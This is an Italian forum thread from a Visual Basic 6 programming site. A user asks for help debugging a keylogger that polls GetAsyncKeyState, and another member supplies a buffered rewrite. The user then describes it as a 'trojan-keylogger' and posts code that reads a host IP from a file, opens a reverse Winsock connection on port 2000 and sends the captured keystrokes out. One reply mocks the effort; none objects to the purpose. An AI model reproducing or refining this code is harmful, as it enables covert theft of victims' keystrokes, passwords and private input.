Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Visual Basic 6 - array di char per un keylogger
Forum - Visual Basic 6 - array di char per un keylogger

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:22
Martedì, 15/04/2008
Salve, sto realizzando con VB6 un keylogger a scopo informativo in WINDOWS XP.
vorrei un keylogger molto veloce e poco pesante.
io per il momento sto utilizzando questo:
Codice sorgente - presumibilmente VB.NET

  1. Private Sub Timer2_Timer()
  2. Dim result, i As Integer
  3.    For i = 1 To 255
  4.    result = 0
  5.    result = GetAsyncKeyState(i)
  6.        If result = -32767 Then
  7.        txtOut.Text = txtOut.Text & Chr(i)
  8.        End If
  9.    Next i
  10. End Sub



il timer è a 10 millisecondi.
la parte che vorrei eliminare è questa:
Codice sorgente - presumibilmente Plain Text

  1. txtOut.Text = txtOut.Text & Chr(i)



perchè secondo me è troppo pesante.
la mia possibile soluzione prevede di mettere
i caratteri un un vettore di char e quando il vettore (di circa 100 elementi) si riempe viene copiato nella txtOut.text
non ci sono riuscito; chi mi darebbe una mano?

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:35
Martedì, 15/04/2008
Codice sorgente - presumibilmente VB.NET

  1. Private Sub Timer2_Timer()
  2. Dim vettore(1 To 10) As Integer
  3. Dim result, i, j, h As Integer
  4.     For i = 1 To 255
  5.     For j = 1 To 10
  6.     vettore(j) = 0
  7.     vettore(j) = GetAsyncKeyState(i)
  8.         If vettore(j) = -32767 Then
  9.         vettore(j) = i
  10.             If j = 9 Then
  11.             txtOut.Text = txtOut.Text & Chr(i)
  12.             End If
  13.         End If
  14.     Next j
  15.     Next i
  16. End Sub



anche questo non mi va... 8-|

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:41
Martedì, 15/04/2008
Codice sorgente - presumibilmente VB.NET

  1. Private Sub Timer2_Timer()
  2. Dim result, i As Integer
  3. Dim str As String
  4.    For i = 1 To 255
  5.    result = 0
  6.    result = GetAsyncKeyState(i)
  7.        If result = -32767 Then
  8.        str = Chr(i)
  9.        txtOut.Text = Len(str)
  10.         If Len(str) = 10 Then
  11.         txtOut.Text = str
  12.         End If
  13.        End If
  14.    Next i
  15. End Sub



anche questo non va, spero che con questi esempi abbiate capito meglio le mie idee.

PM Quote
Avatar
Shutdown (Founder Member)
Guru


Messaggi: 1212
Iscritto: 10/09/2005

Segnala al moderatore
Postato alle 0:51
Mercoledì, 16/04/2008
Feddur ti avevo gentilmente pregato di collaborare.
Ti ho spiegato che se nel thread, l'ultimo messaggio è il tuo e vuoi aggiungere qualcosa, devi modificare l'ultimo messaggio... Non devi creare un nuovo post.

L'avviso te l'avevo già lanciato.
Questo è il secondo avvertimento.

Se succede ancora blocco la discussione e informo gli amministratori della situazione, i quali sapranno che provvedimenti prendere.

Ti ringrazio per aver prestato attenzione. :k:

Ultima modifica effettuata da Shutdown il 16/04/2008 alle 0:53
PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 0:53
Mercoledì, 16/04/2008
scusate ma non avevo capito, sarò più attento.

PM Quote
Avatar
Shutdown (Founder Member)
Guru


Messaggi: 1212
Iscritto: 10/09/2005

Segnala al moderatore
Postato alle 12:22
Mercoledì, 16/04/2008
Prego, non scusarti... :k:
Grazie 1000. :k:

PM Quote
Avatar
P4p3r0g4 (Member)
Guru


Messaggi: 1319
Iscritto: 29/12/2006

Segnala al moderatore
Postato alle 13:52
Mercoledì, 16/04/2008
ok preso per buono
Codice sorgente - presumibilmente VB.NET

  1. Private Sub Timer2_Timer()
  2. Dim result, i As Integer
  3.    For i = 1 To 255
  4.    result = 0
  5.    result = GetAsyncKeyState(i)
  6.        If result = -32767 Then
  7.        txtOut.Text = txtOut.Text & Chr(i)
  8.        End If
  9.    Next i
  10. End Sub


lo modifico cosi`
Codice sorgente - presumibilmente VB.NET

  1. option explicit
  2. dim k as integer
  3. dim vett(0 to 99) as integer
  4. Private Sub Timer2_Timer()
  5. Dim result, i As Integer
  6.    For i = 1 To 255
  7.    result = 0
  8.    result = GetAsyncKeyState(i)
  9.        If result = -32767 Then
  10.        vett(k) = i
  11.        k = k + 1
  12.        End If
  13.    Next i
  14.  
  15. if k = 99 then
  16. for i = 0 to 99
  17. txtOut.text= txtOut.text & chr(vett(i))
  18. next i
  19. k = 0
  20. end if
  21. End Sub



il codice dovrebbe suonare cosi` probabilmente ci sono degli errorini perche` l'ho scritto al volo e non l'ho provato (non ho il vb installato) ma dovresti riuscire a correggerli.

Ultima modifica effettuata da P4p3r0g4 il 16/04/2008 alle 13:53
PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 0:42
Giovedì, 17/04/2008
salve, continuo ad avere problemi, forse è il caso che vi spieghi meglio il mio problema e il mio programma.
quello che ho creato è un trojan-keylogger (ricordo che l'ho creato per solo scopo informativo.. come un passatempo!)però ho notato qualche problema che vorrei risolvere...
Vi posto qualche pezzo di codice per renedere meglio l'idea:
Codice sorgente - presumibilmente VB.NET

  1. Private Sub Form_Load()
  2. Timer2.Interval = 1     'pausa keylogger sia se connesso che se disconnesso
  3. Timer3.Interval = 9000  'se non connesso, dopo quanto fa le prove di connessione
  4. Private Sub Timer2_Timer()
  5.     If wskClient.State <> sckConnected Then     'se non connesso mette i caratteri premuti nella txt e attende
  6.         For j = 47 To 125
  7.         result = 0
  8.         result = GetAsyncKeyState(j)
  9.             If result = -32767 Then
  10.             txtOut.Text = txtOut.Text & Chr(j)
  11.             End If
  12.         Next j
  13.             Else                                    'se è connesso invia dopo tempo del timer
  14.                 For k = 47 To 125
  15.                 result1 = 0
  16.                 result1 = GetAsyncKeyState(k)
  17.                     If result1 = -32767 Then
  18.                     txtOut.Text = txtOut.Text & Chr(k)
  19.                     End If
  20.                 Next k
  21.     End If
  22.  
  23. Private Sub Timer3_Timer()
  24.  If wskClient.State <> sckConnected Then 'se non connesso ritenta la connessione
  25.  
  26.     Dim BUFFER As String                        'apre il file per leggere l'IP
  27.     Dim NRFILE As Integer
  28.     txtHostName = ""
  29.     NRFILE = FreeFile
  30.         Open App.Path & "\" & FileDaAprire1 For Binary As NRFILE
  31.     While Not EOF(NRFILE)
  32.         BUFFER = Space(2048)
  33.         Get NRFILE, , BUFFER
  34.         txtHostName = BUFFER
  35.     Wend
  36.     Close NRFILE
  37.  
  38.  i = i + 1
  39.     txtOut.SelStart = Len(txtOut.Text)
  40.     wskClient.Close
  41.     wskClient.LocalPort = 0
  42.     wskClient.Connect txtHostName.Text, 2000
  43.     lblconnessioni.Caption = i
  44.     Else
  45.     wskClient.SendData txtOut.Text          'invia il txt
  46.     txtOut.Text = ""                        'una volta mandato il txt lo azzera
  47.  End If
  48. End Sub
  49. End Sub



Ora vi spiego il problema:
il keylogger, soprattutto quando il client è connesso non riesce a memorizzare tutti i tasti.
se vi sembra strano che abbia detto "client" è perchè ho creato una specie di reverse connection..
sapete il perchè di tale problema?
come risolverlo?
avete bisogno di altre informazioni?
grazie.

Ultima modifica effettuata da feddur il 17/04/2008 alle 0:45
PM Quote
Avatar
gantonio (Normal User)
Guru^2


Messaggi: 1532
Iscritto: 09/09/2007

Segnala al moderatore
Postato alle 8:14
Giovedì, 17/04/2008
Perche' non studi le cose serie (protocolli di rete, API di Windows, programmazione ad oggetti ...) invece di perdere tempo sempre dietro a (inutili) trojan-keylogger che non si sa neanche scrivere perche' non si hanno le minime cognizioni di base?

PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo